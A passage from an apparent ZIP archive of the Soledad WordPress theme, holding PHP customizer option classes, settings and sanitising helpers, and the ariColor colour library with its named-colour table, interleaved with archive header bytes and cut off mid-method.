		$this->add_lazy_section( 'penci_section_homepage_featured_cat_section', esc_html__( 'Featured Categories', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-magazine/">this demo</a> for example and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/featured-categories.png">this image</a> to understand what is Featured Categories.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_homepage_fontsize_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_homepage_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\4}s
  s
  )  customizer/config/options/woocommerce.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class WooCommerceOption extends CustomizerOptionAbstract {

	public $panelID = 'woocommerce';

	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_woocommerce_section', esc_html__( 'General', 'soledad' ), $this->panelID, __('You can check <a class="wp-customizer-link" href="https://soledad.pencidesign.net/soledad-document/#create_store" target="_blank">this guide</a> to know how to configure your online store.','soledad') );
		$this->add_lazy_section( 'pencidesign_woo_product_catalog_section', esc_html__( 'Shop Settings', 'soledad' ), $this->panelID, __('You can check <a class="wp-customizer-link" href="https://soledad.pencidesign.net/soledad-document/#create_store" target="_blank">this guide</a> to know how to configure your online store.','soledad') );
		$this->add_lazy_section( 'pencidesign_woo_wishlist_settings_section', esc_html__( 'Product Wishlist', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_compare_settings_section', esc_html__( 'Product Compare', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_quickview_settings_section', esc_html__( 'Product Quickview', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_label_settings_section', esc_html__( 'Product Label', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_brand_settings_section', esc_html__( 'Product Brands', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_single_settings_section', esc_html__( 'Single Product', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_cart_page_section', esc_html__( 'Cart Page', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_ordercompleted_page_section', esc_html__( 'Order Completed Page', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_mobile_settings_section', esc_html__( 'Mobile Settings', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_toast_notify_section', esc_html__( 'Toast Notification', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_filter_sidebar_section', esc_html__( 'Sidebar Filter', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_typo_settings_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_colors_settings_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\    #  customizer/config/options/popup.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class PopupOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_popup_section_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Promo Popup', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_popup_section_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_popup_section_display_section', esc_html__( 'Popup Display', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_popup_section_styles_section', esc_html__( 'Styles & Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\u,2C  C  .  customizer/config/classes/class-customizer.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
abstract class CustomizerOptionAbstract {
	/**
	 * @var Customizer
	 */
	protected $customizer;

	protected $id;

	public function __construct( $customizer, $id ) {
		$this->id         = $id;
		$this->customizer = $customizer;
		$this->set_option();
	}

	abstract public function set_option();

	public function add_lazy_section( $id, $title, $panel, $desc = '', $dependency = [] ) {
		$section = [
			'id'          => $id,
			'title'       => $title,
			'panel'       => $panel,
			'description' => $desc,
			'priority'    => $this->id,
			'type'        => 'soledad-fw-lazy-section',
			'dependency'  => $dependency,
		];
		$this->customizer->add_section( $section );
	}

	public function add_link_section( $id, $title, $panel, $url ) {
		$section = [
			'id'       => $id,
			'title'    => $title,
			'panel'    => $panel,
			'priority' => $this->id,
			'type'     => 'soledad-fw-link-section',
			'url'      => $url,
		];
		$this->customizer->add_section( $section );
	}
}
PK     0w\hV    +  customizer/framework/util/class-setting.phpnu [        <?php
/**
 * Retrieve Setting for Header Builder
 *
 * @author SoledadFWtheme
 * @since 1.0.0
 * @package header-builder
 */

namespace SoledadFW\Util;

use SoledadFW\Customizer\Customizer;

/**
 * Class Setting
 *
 * @package SoledadFW\Util
 */
class Setting {

	/**
	 * Get value of option
	 *
	 * @param string $id name of setting.
	 * @param mixed  $default default option.
	 *
	 * @return mixed
	 */
	protected static function get_option( $id, $default ) {
		$data = explode( '[', rtrim( $id, ']' ) );

		if ( 1 === count( $data ) ) {
			return get_option( $id, $default );
		} else {
			$option = get_option( $data[0] );
			$key    = $data[1];

			if ( isset( $option[ $key ] ) ) {
				return $option[ $key ];
			} else {
				return $default;
			}
		}
	}

	/**
	 * Get value of theme option (get theme mod)
	 *
	 * @param string $id name of setting.
	 * @param mixed  $default default option.
	 *
	 * @return mixed
	 */
	protected static function get_theme_mod( $id, $default ) {
		return get_theme_mod( $id, $default );
	}

	/**
	 * Get Value of setting (either use option or option)
	 *
	 * @param string $id name of setting.
	 * @param mixed  $default default option.
	 *
	 * @return mixed
	 */
	public static function get( $id, $default = null ) {
		$value  = null;
		$fields = Customizer::get_instance()->get_all_fields();

		if ( isset( $fields[ $id ] ) ) {
			$field = $fields[ $id ];
			$type  = isset( $field['option_type'] ) ? $field['option_type'] : 'theme_mod';

			if ( 'option' === $type ) {
				$value = self::get_option( $id, $default );
			} else {
				$value = self::get_theme_mod( $id, $default );
			}
		}

		return apply_filters( 'soledad_fw_setting_value', $value, $id );
	}

}
PK     0w\eX  X  -  customizer/framework/util/class-ari-color.phpnu [        <?php
/**
 * Plugin Name:   ariColor
 * Plugin URI:    http://aristath.github.io/ariColor/
 * Description:   A PHP library for color manipulation in WordPress themes and plugins
 * Author:        Aristeides Stathopoulos
 * Author URI:    http://aristeides.com
 * Version:       1.0
 * Text Domain:   aricolor
 *
 * GitHub Plugin URI: aristath/ariColor
 * GitHub Plugin URI: https://github.com/aristath/ariColor
 *
 * @package     ariColor
 * @category    Core
 * @author      Aristeides Stathopoulos
 * @copyright   Copyright (c) 2016, Aristeides Stathopoulos
 * @license     http://opensource.org/licenses/https://opensource.org/licenses/MIT
 * @since       1.0
 */

namespace SoledadFW\Util;

/**
 * Class Ari_Color
 *
 * @package SoledadFW\Util
 */
class Ari_Color {

	/**
	 * Each color is a separate instance of this class.
	 * Each instance is stored as an object in this array.
	 * Allows easier access & performance.
	 *
	 * @static
	 * @access public
	 * @var array
	 */
	public static $instances = array();

	/**
	 * The color as defined in the input
	 *
	 * @access public
	 * @var string|array
	 */
	public $color;

	/**
	 * The mode of this color (hex/rgb/rgba etc.).
	 *
	 * @access public
	 * @var string
	 */
	public $mode = 'hex';

	/**
	 * An array of word-defined colors.
	 * Example: white = #ffffff
	 *
	 * @access public
	 * @var array
	 */
	public $word_colors = array();

	/**
	 * The HEX value of the color.
	 *
	 * @access public
	 * @var string
	 */
	public $hex;

	/**
	 * Red color
	 *
	 * @access public
	 * @var int|double
	 */
	public $red = 0;

	/**
	 * Green Color
	 *
	 * @access public
	 * @var int|double
	 */
	public $green = 0;

	/**
	 * Blue Color
	 *
	 * @access public
	 * @var int|double
	 */
	public $blue = 0;

	/**
	 * Alpha
	 *
	 * @access public
	 * @var int|float
	 */
	public $alpha = 1;

	/**
	 * Hue
	 *
	 * @access public
	 * @var int|float
	 */
	public $hue;

	/**
	 * Saturation
	 *
	 * @access public
	 * @var int|float
	 */
	public $saturation;

	/**
	 * @access public
	 * @var int|float
	 */
	public $lightness;

	/**
	 * @access public
	 * @var int|float
	 */
	public $chroma;

	/**
	 * @access public
	 * @var array
	 */
	public $brightness = array();

	/**
	 * @access public
	 * @var int|float
	 */
	public $luminance;

	/**
	 * The class constructor
	 *
	 * @param $color    string|array    The defined color.
	 * @param $mode     string          Color mode. Set to 'auto' if you want this auto-detected.
	 */
	private function __construct( $color = '', $mode = 'auto' ) {
		$this->color = $color;
		if ( ! method_exists( $this, 'from_' . $mode ) ) {
			$mode = $this->get_mode( $color );
		}
		if ( null === $mode ) {
			return;
		}
		$this->mode = $mode;
		$method     = 'from_' . $mode;
		// call the from_{$color_mode} method
		$this->$method();
	}

	/**
	 * Gets an instance for this color.
	 * We use a separate instance per color
	 * because there's no need to create a completely new instance each time we call this class.
	 * Instead using instances helps us improve performance & footprint.
	 *
	 * @param $color string|array
	 * @param $mode  string
	 *
	 * @return ariColor (object)
	 */
	public static function newColor( $color, $mode = 'auto' ) {
		// get an md5 for this color
		$color_md5 = ( is_array( $color ) ) ? md5( json_encode( $color ) . $mode ) : md5( $color . $mode );
		// Set the instance if it does not already exist.
		if ( ! isset( self::$instances[ $color_md5 ] ) ) {
			self::$instances[ $color_md5 ] = new self( $color, $mode );
		}

		return self::$instances[ $color_md5 ];
	}

	/**
	 * Allows us to get a new instance by modifying a property of the existing one.
	 *
	 * @param $property string  can be one of the following:
	 *                          red,
	 *                          green,
	 *                          blue,
	 *                          alpha,
	 *                          hue,
	 *                          saturation,
	 *                          lightness,
	 *                          brightness
	 * @param $value int|float|string the new value
	 *
	 * @return ariColor|null
	 */
	public function getNew( $property = '', $value = '' ) {
		// Check if we're changing any of the rgba values
		if ( in_array( $property, array( 'red', 'green', 'blue', 'alpha' ) ) ) {
			$this->$property = $value;
			$this->red       = max( 0, min( 255, $this->red ) );
			$this->green     = max( 0, min( 255, $this->green ) );
			$this->blue      = max( 0, min( 255, $this->blue ) );
			$this->alpha     = max( 0, min( 255, $this->alpha ) );

			return self::newColor( 'rgba(' . $this->red . ',' . $this->green . ',' . $this->blue . ',' . $this->alpha . ')', 'rgba' );
		} // Check if we're changing any of the hsl values
		elseif ( in_array( $property, array( 'hue', 'saturation', 'lightness' ) ) ) {
			$this->$property  = $value;
			$this->hue        = max( 0, min( 360, $this->hue ) );
			$this->saturation = max( 0, min( 100, $this->saturation ) );
			$this->lightness  = max( 0, min( 100, $this->lightness ) );

			return self::newColor( 'hsla(' . $this->hue . ',' . $this->saturation . '%,' . $this->lightness . '%,' . $this->alpha . ')', 'hsla' );
		} // Check if we're changing the brightness
		elseif ( 'brightness' == $property ) {
			if ( $value < $this->brightness['total'] ) {
				$this->red   = max( 0, min( 255, $this->red - ( $this->brightness['total'] - $value ) ) );
				$this->green = max( 0, min( 255, $this->green - ( $this->brightness['total'] - $value ) ) );
				$this->blue  = max( 0, min( 255, $this->blue - ( $this->brightness['total'] - $value ) ) );
			} elseif ( $value > $this->brightness['total'] ) {
				$this->red   = max( 0, min( 255, $this->red + ( $value - $this->brightness['total'] ) ) );
				$this->green = max( 0, min( 255, $this->green + ( $value - $this->brightness['total'] ) ) );
				$this->blue  = max( 0, min( 255, $this->blue + ( $value - $this->brightness['total'] ) ) );
			} else {
				// if it's not smaller and it's not greater, then it's equal.
				return $this;
			}

			return self::newColor( 'rgba(' . $this->red . ',' . $this->green . ',' . $this->blue . ',' . $this->alpha . ')' );
		}

		return null;
	}

	/**
	 * Figure out what mode we're using.
	 *
	 * @param string|array
	 * @param string $color
	 *
	 * @return string|null
	 */
	public function get_mode( $color ) {
		// Check if value is an array
		if ( is_array( $color ) ) {
			// does the array have an 'rgba' key?
			if ( isset( $color['rgba'] ) ) {
				$this->color = $color['rgba'];

				return 'rgba';
			} // Does the array have a 'color' key?
			elseif ( isset( $color['color'] ) ) {
				$this->color = $color['color'];

				return 'hex';
			}
			// is this a simple array with 4 items?
			if ( 4 == count( $color ) && isset( $color[0] ) && isset( $color[1] ) && isset( $color[2] ) && isset( $color[3] ) ) {
				$this->color = 'rgba(' . intval( $color[0] ) . ',' . intval( $color[1] ) . ',' . intval( $color[2] ) . ',' . intval( $color[3] ) . ')';

				return 'rgba';
			} // Is this a simple array with 3 items?
			elseif ( 3 == count( $color ) && isset( $color[0] ) && isset( $color[1] ) && isset( $color[2] ) ) {
				$this->color = 'rgba(' . intval( $color[0] ) . ',' . intval( $color[1] ) . ',' . intval( $color[2] ) . ',' . '1)';

				return 'rgba';
			}
			// Check for other keys in the array and get values from there
			$finders_keepers = array(
				'r'       => 'red',
				'g'       => 'green',
				'b'       => 'blue',
				'a'       => 'alpha',
				'red'     => 'red',
				'green'   => 'green',
				'blue'    => 'blue',
				'alpha'   => 'alpha',
				'opacity' => 'alpha',
			);
			$found           = false;
			foreach ( $finders_keepers as $finder => $keeper ) {
				if ( isset( $color[ $finder ] ) ) {
					$found         = true;
					$this->$keeper = $color[ $finder ];
				}
			}
			// We failed, return null.
			if ( ! $found ) {
				return null;
			}
			// We did not fail, so use rgba values recovered above.
			$this->color = 'rgba(' . $this->red . ',' . $this->green . ',' . $this->blue . ',' . $this->alpha . ')';

			return 'rgba';
		}
		// If we got this far, it's not an array.

		// Check for key identifiers in the value
		$finders_keepers = array(
			'#'    => 'hex',
			'rgba' => 'rgba',
			'rgb'  => 'rgb',
			'hsla' => 'hsla',
			'hsl'  => 'hsl',
		);
		foreach ( $finders_keepers as $finder => $keeper ) {
			if ( false !== strrpos( $color, $finder ) ) {
				return $keeper;
			}
		}
		// Perhaps we're using a word like "orange"?
		$wordcolors = $this->get_word_colors();
		if ( array_key_exists( $color, $wordcolors ) ) {
			$this->color = '#' . $wordcolors[ $color ];

			return 'hex';
		}

		// fallback to hex.
		return 'hex';
	}

	/**
	 * Starts with a HEX color and calculates all other properties.
	 *
	 * @return void
	 */
	private function from_hex() {

		if ( ! function_exists( 'sanitize_hex_color' ) ) {
			require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
		}
		// Is this perhaps a word-color?
		$word_colors = $this->get_word_colors();
		if ( array_key_exists( $this->color, $word_colors ) ) {
			$this->color = '#' . $word_colors[ $this->color ];
		}
		// Sanitize color
		$this->hex = sanitize_hex_color( maybe_hash_hex_color( $this->color ) );
		$hex       = ltrim( $this->hex, '#' );
		// Make sure we have 6 digits for the below calculations
		if ( 3 == strlen( $hex ) ) {
			$hex = ltrim( $this->hex, '#' );
			$hex = substr( $hex, 0, 1 ) . substr( $hex, 0, 1 ) . substr( $hex, 1, 1 ) . substr( $hex, 1, 1 ) . substr( $hex, 2, 1 ) . substr( $hex, 2, 1 );
		}
		// Set red, green, blue
		$this->red   = hexdec( substr( $hex, 0, 2 ) );
		$this->green = hexdec( substr( $hex, 2, 2 ) );
		$this->blue  = hexdec( substr( $hex, 4, 2 ) );
		$this->alpha = 1;
		// set other color properties
		$this->set_brightness();
		$this->set_hsl();
		$this->set_luminance();

	}

	/**
	 * Starts with an RGB color and calculates all other properties.
	 *
	 * @return void
	 */
	private function from_rgb() {
		$value = explode( ',', str_replace( array( ' ', 'rgb', '(', ')' ), '', $this->color ) );
		// set red, green, blue
		$this->red   = ( isset( $value[0] ) ) ? intval( $value[0] ) : 255;
		$this->green = ( isset( $value[1] ) ) ? intval( $value[1] ) : 255;
		$this->blue  = ( isset( $value[2] ) ) ? intval( $value[2] ) : 255;
		$this->alpha = 1;
		// set the hex
		$this->hex = $this->rgb_to_hex( $this->red, $this->green, $this->blue );
		// set other color properties
		$this->set_brightness();
		$this->set_hsl();
		$this->set_luminance();
	}

	/**
	 * Starts with an RGBA color and calculates all other properties.
	 *
	 * @return void
	 */
	private function from_rgba() {
		// Set r, g, b, a properties
		$value       = explode( ',', str_replace( array( ' ', 'rgba', '(', ')' ), '', $this->color ) );
		$this->red   = ( isset( $value[0] ) ) ? intval( $value[0] ) : 255;
		$this->green = ( isset( $value[1] ) ) ? intval( $value[1] ) : 255;
		$this->blue  = ( isset( $value[2] ) ) ? intval( $value[2] ) : 255;
		$this->alpha = ( isset( $value[3] ) ) ? filter_var( $value[3], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : 1;
		// limit values in the range of 0 - 255
		$this->red   = max( 0, min( 255, $this->red ) );
		$this->green = max( 0, min( 255, $this->green ) );
		$this->blue  = max( 0, min( 255, $this->blue ) );
		// limit values 0 - 1
		$this->alpha = max( 0, min( 1, $this->alpha ) );
		// set hex
		$this->hex = $this->rgb_to_hex( $this->red, $this->green, $this->blue );
		// set other color properties
		$this->set_brightness();
		$this->set_hsl();
		$this->set_luminance();
	}

	/**
	 * Starts with an HSL color and calculates all other properties.
	 *
	 * @return void
	 */
	private function from_hsl() {
		$value            = explode( ',', str_replace( array( ' ', 'hsl', '(', ')', '%' ), '', $this->color ) );
		$this->hue        = $value[0];
		$this->saturation = $value[1];
		$this->lightness  = $value[2];
		$this->from_hsl_array();
	}

	/**
	 * Starts with an HSLA color and calculates all other properties.
	 *
	 * @return void
	 */
	private function from_hsla() {
		$value            = explode( ',', str_replace( array( ' ', 'hsla', '(', ')', '%' ), '', $this->color ) );
		$this->hue        = $value[0];
		$this->saturation = $value[1];
		$this->lightness  = $value[2];
		$this->alpha      = $value[3];
		$this->from_hsl_array();
	}

	/**
	 * Generates the HEX value of a color given values for $red, $green, $blue
	 *
	 * @param $red   int|string
	 * @param $green int|string
	 * @param $blue  int|string
	 *
	 * @return string
	 */
	private function rgb_to_hex( $red, $green, $blue ) {
		// get hex values properly formatted
		$hex_red   = $this->dexhex_double_digit( $red );
		$hex_green = $this->dexhex_double_digit( $green );
		$hex_blue  = $this->dexhex_double_digit( $blue );

		return '#' . $hex_red . $hex_green . $hex_blue;
	}

	/**
	 * Convert a decimal value to hex and make sure it's 2 characters
	 *
	 * @param $value int|string
	 *
	 * @return string
	 */
	private function dexhex_double_digit( $value ) {
		$value = ( 9 >= $value ) ? '0' . $value : dechex( $value );
		if ( 1 == strlen( $value ) ) {
			$value .= $value;
		}

		return $value;
	}

	/**
	 * Calculates the red, green, blue values of an HSL color
	 * @see https://gist.github.com/brandonheyer/5254516
	 */
	private function from_hsl_array() {
		$h = $this->hue / 360;
		$s = $this->saturation / 100;
		$l = $this->lightness / 100;

		$r = $l;
		$g = $l;
		$b = $l;
		$v = ( $l <= 0.5 ) ? ( $l * ( 1.0 + $s ) ) : ( $l + $s - $l * $s );
		if ( $v > 0 ) {
			$m       = $l + $l - $v;
			$sv      = ( $v - $m ) / $v;
			$h       *= 6.0;
			$sextant = floor( $h );
			$fract   = $h - $sextant;
			$vsf     = $v * $sv * $fract;
			$mid1    = $m + $vsf;
			$mid2    = $v - $vsf;
			switch ( $sextant ) {
				case 0:
					$r = $v;
					$g = $mid1;
					$b = $m;
					break;
				case 1:
					$r = $mid2;
					$g = $v;
					$b = $m;
					break;
				case 2:
					$r = $m;
					$g = $v;
					$b = $mid1;
					break;
				case 3:
					$r = $m;
					$g = $mid2;
					$b = $v;
					break;
				case 4:
					$r = $mid1;
					$g = $m;
					$b = $v;
					break;
				case 5:
					$r = $v;
					$g = $m;
					$b = $mid2;
					break;
			}
		}
		$this->red   = round( $r * 255, 0 );
		$this->green = round( $g * 255, 0 );
		$this->blue  = round( $b * 255, 0 );

		$this->hex = $this->rgb_to_hex( $this->red, $this->green, $this->blue );
		$this->set_luminance();
	}

	/**
	 * Returns a CSS-formatted value for colors.
	 *
	 * @param $mode string
	 *
	 * @return string
	 */
	public function toCSS( $mode = 'hex' ) {

		$value = '';

		switch ( $mode ) {
			case 'hex':
				$value = strtoupper( $this->hex );
				break;
			case 'rgba':
				$value = 'rgba(' . $this->red . ',' . $this->green . ',' . $this->blue . ',' . $this->alpha . ')';
				break;
			case 'rgb':
				$value = 'rgb(' . $this->red . ',' . $this->green . ',' . $this->blue . ')';
				break;
			case 'hsl':
				$value = 'hsl(' . $this->hue . ',' . round( $this->saturation ) . '%,' . round( $this->lightness ) . '%)';
				break;
			case 'hsla':
				$value = 'hsla(' . $this->hue . ',' . round( $this->saturation ) . '%,' . round( $this->lightness ) . '%,' . $this->alpha . ')';
				break;
		}

		return $value;
	}

	/**
	 * Sets the HSL values of a color based on the values of red, green, blue
	 */
	private function set_hsl() {
		$red   = $this->red / 255;
		$green = $this->green / 255;
		$blue  = $this->blue / 255;

		$max = max( $red, $green, $blue );
		$min = min( $red, $green, $blue );

		$lightness  = ( $max + $min ) / 2;
		$difference = $max - $min;

		if ( 0 == $difference ) {
			$hue = $saturation = 0;
		} else {
			$saturation = $difference / ( 1 - abs( 2 * $lightness - 1 ) );
			switch ( $max ) {
				case $red:
					$hue = 60 * fmod( ( ( $green - $blue ) / $difference ), 6 );
					if ( $blue > $green ) {
						$hue += 360;
					}
					break;
				case $green:
					$hue = 60 * ( ( $blue - $red ) / $difference + 2 );
					break;
				case $blue:
					$hue = 60 * ( ( $red - $green ) / $difference + 4 );
					break;
			}
		}

		$this->hue        = round( $hue );
		$this->saturation = round( $saturation * 100 );
		$this->lightness  = round( $lightness * 100 );
	}

	/**
	 * Sets the brightness of a color based on the values of red, green, blue
	 */
	private function set_brightness() {
		$this->brightness = array(
			'red'   => round( $this->red * .299 ),
			'green' => round( $this->green * .587 ),
			'blue'  => round( $this->blue * .114 ),
			'total' => intval( ( $this->red * .299 ) + ( $this->green * .587 ) + ( $this->blue * .114 ) ),
		);
	}

	/**
	 * Sets the luminance of a color (range:0-255) based on the values of red, green, blue
	 */
	private function set_luminance() {
		$lum             = ( 0.2126 * $this->red ) + ( 0.7152 * $this->green ) + ( 0.0722 * $this->blue );
		$this->luminance = round( $lum );
	}

	/**
	 * Gets an array of all the wordcolors
	 *
	 * @return array
	 */
	private function get_word_colors() {
		return array(
			'aliceblue'            => 'F0F8FF',
			'antiquewhite'         => 'FAEBD7',
			'aqua'                 => '00FFFF',
			'aquamarine'           => '7FFFD4',
			'azure'                => 'F0FFFF',
			'beige'                => 'F5F5DC',
			'bisque'               => 'FFE4C4',
			'black'                => '000000',
			'blanchedalmond'       => 'FFEBCD',
			'blue'                 => '0000FF',
			'blueviolet'           => '8A2BE2',
			'brown'                => 'A52A2A',
			'burlywood'            => 'DEB887',
			'cadetblue'            => '5F9EA0',
			'chartreuse'           => '7FFF00',
			'chocolate'            => 'D2691E',
			'coral'                => 'FF7F50',
			'cornflowerblue'       => '6495ED',
			'cornsilk'             => 'FFF8DC',
			'crimson'              => 'DC143C',
			'cyan'                 => '00FFFF',
			'darkblue'             => '00008B',
			'darkcyan'             => '008B8B',
			'darkgoldenrod'        => 'B8860B',
			'darkgray'             => 'A9A9A9',
			'darkgreen'            => '006400',
			'darkgrey'             => 'A9A9A9',
			'darkkhaki'            => 'BDB76B',
			'darkmagenta'          => '8B008B',
			'darkolivegreen'       => '556B2F',
			'darkorange'           => 'FF8C00',
			'darkorchid'           => '9932CC',
			'darkred'              => '8B0000',
			'darksalmon'           => 'E9967A',
			'darkseagreen'         => '8FBC8F',
			'darkslateblue'        => '483D8B',
			'darkslategray'        => '2F4F4F',
			'darkslategrey'        => '2F4F4F',
			'darkturquoise'        => '00CED1',
			'darkviolet'           => '9400D3',
			'deeppink'             => 'FF1493',
			'deepskyblue'          => '00BFFF',
			'dimgray'              => '696969',
			'dimgrey'              => '696969',
			'dodgerblue'           => '1E90FF',
			'firebrick'            => 'B22222',
			'floralwhite'          => 'FFFAF0',
			'forestgreen'          => '228B22',
			'fuchsia'              => 'FF00FF',
			'gainsboro'            => 'DCDCDC',
			'ghostwhite'           => 'F8F8FF',
			'gold'                 => 'FFD700',
			'goldenrod'            => 'DAA520',
			'gray'                 => '808080',
			'green'                => '008000',
			'greenyellow'          => 'ADFF2F',
			'grey'                 => '808080',
			'honeydew'             => 'F0FFF0',
			'hotpink'              => 'FF69B4',
			'indianred'            => 'CD5C5C',
			'indigo'               => '4B0082',
			'ivory'                => 'FFFFF0',
			'khaki'                => 'F0E68C',
			'lavender'             => 'E6E6FA',
			'lavenderblush'        => 'FFF0F5',
			'lawngreen'            => '7CFC00',
			'lemonchiffon'         => 'FFFACD',
			'lightblue'            => 'ADD8E6',
			'lightcoral'           => 'F08080',
			'lightcyan'            => 'E0FFFF',
			'lightgoldenrodyellow' => 'FAFAD2',
			'lightgray'            => 'D3D3D3',
			'lightgreen'           => '90EE90',
			'lightgrey'            => 'D3D3D3',
			'lightpink'            => 'FFB6C1',
			'lightsalmon'          => 'FFA07A',
			'lightseagreen'        => '20B2AA',
			'lightskyblue'         => '87CEFA',
			'lightslategray'       => '778899',
			'lightslategrey'       => '778899',
			'lightsteelblue'       => 'B0C4DE',
			'lightyellow'          => 'FFFFE0',
			'lime'                 => '00FF00',
			'limegreen'            => '32CD32',
			'linen'                => 'FAF0E6',
			'magenta'              => 'FF00FF',
			'maroon'               => '800000',
			'mediumaquamarine'     => '66CDAA',
			'mediumblue'           => '0000CD',
			'mediumorchid'         => 'BA55D3',
			'mediumpurple'         => '9370D0',
			'mediumseagreen'       => '3CB371',
			'mediumslateblue'      => '7B68EE',
			'mediumspringgreen'    => '00FA9A',
			'mediumturquoise'      => '48D1CC',
			'mediumvioletred'      => 'C71585',
			'midnightblue'         => '191970',
			'mintcream'            => 'F5FFFA',
			'mistyrose'            => 'FFE4E1',
			'moccasin'             => 'FFE4B5',
			'navajowhite'          => 'FFDEAD',
			'navy'                 => '000080',
			'oldlace'              => 'FDF5E6',
			'olive'                => '808000',
			'olivedrab'            => '6B8E23',
			'orange'               => 'FFA500',
			'orangered'            => 'FF4500',
			'orchid'               => 'DA70D6',
			'palegoldenrod'        => 'EEE8AA',
			'palegreen'            => '98FB98',
			'paleturquoise'        => 'AFEEEE',
			'palevioletred'        => 'DB7093',
			'papayawhip'           => 'FFEFD5',
			'peachpuff'            => 'FFDAB9',
			'peru'                 => 'CD853F',
			'pink'                 => 'FFC0CB',
			'plum'                 => 'DDA0DD',
			'powderblue'           => 'B0E0E6',
			'purple'               => '800080',
			'red'                  => 'FF0000',
			'rosybrown'            => 'BC8F8F',
			'royalblue'            => '4169E1',
			'saddlebrown'          => '8B4513',
			'salmon'               => 'FA8072',
			'sandybrown'           => 'F4A460',
			'seagreen'             => '2E8B57',
			'seashell'             => 'FFF5EE',
			'sienna'               => 'A0522D',
			'silver'               => 'C0C0C0',
			'skyblue'              => '87CEEB',
			'slateblue'            => '6A5ACD',
			'slategray'            => '708090',
			'slategrey'            => '708090',
			'snow'                 => 'FFFAFA',
			'springgreen'          => '00FF7F',
			'steelblue'            => '4682B4',
			'tan'                  => 'D2B48C',
			'teal'                 => '008080',
			'thistle'              => 'D8BFD8',
			'tomato'               => 'FF6347',
			'turquoise'            => '40E0D0',
			'violet'               => 'EE82EE',
			'wheat'                => 'F5DEB3',
			'white'                => 'FFFFFF',
			'whitesmoke'           => 'F5F5F5',
			'yellow'               => 'FFFF00',
			'yellowgreen'          => '9ACD32',
		);
	}
}
PK     0w\T$l    ,  customizer/framework/util/class-sanitize.phpnu [        <?php
/**
 * Sanitize Customizer Input
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Util;

/**
 * Class Sanitize
 *
 * @package SoledadFW\Util
 */
class Sanitize {
	/**
	 * Sanitize instance
	 *
	 * @var Sanitize
	 */
	private static $instance;

	/**
	 * Sanitize singleton instance
	 *
	 * @return Sanitize
	 */
	public static function get_instance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	/**
	 * Default sanitize input.
	 *
	 * @param mixed $value value to sanitize.
	 *
	 * @return string|array
	 */
	public function sanitize_input( $value ) {
		if ( is_array( $value ) ) {
			return $this->sanitize_array( $value );
		} else {
			return sanitize_text_field( $value );
		}
	}

	/**
	 * Sanitize URL input
	 *
	 * @param string $value url to be sanitized.
	 *
	 * @return string
	 */
	public function sanitize_url( $value ) {
		return esc_url_raw( $value );
	}

	/**
	 * Filters numeric values.
	 *
	 * @static
	 * @access public
	 *
	 * @param string $value The value to be sanitized.
	 *
	 * @return int|float
	 */
	public static function sanitize_number( $value ) {
		return filter_var( $value, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
	}

	/**
	 * Sanitize colors.
	 *
	 * @static
	 * @since 0.8.5
	 *
	 * @param string $value The value to be sanitized.
	 *
	 * @return string
	 */
	public function sanitize_color( $value ) {
		// If the value is empty, then return empty.
		if ( '' === $value ) {
			return '';
		}
		// If transparent, then return 'transparent'.
		if ( is_string( $value ) && 'transparent' === trim( $value ) ) {
			return 'transparent';
		}
		// Instantiate the object.
		$color = Ari_Color::newColor( $value );

		// Return a CSS value, using the auto-detected mode.
		return $color->toCSS( $color->mode );
	}

	/**
	 * Sanitize Array
	 *
	 * @param string $value Array to be sanitized.
	 *
	 * @return array
	 */
	public function sanitize_array( $value ) {
		$value = ( ! is_array( $value ) ) ? explode( ',', $value ) : $value;

		return ( ! empty( $value ) ) ? array_map( 'sanitize_text_field', $value ) : array();
	}

	/**
	 * Sanitize checkbox input value
	 *
	 * @param mixed $value value of checkbox input.
	 *
	 * @return bool
	 */
	public function sanitize_checkbox( $value ) {
		if ( is_null( $value ) ) {
			return false;
		}

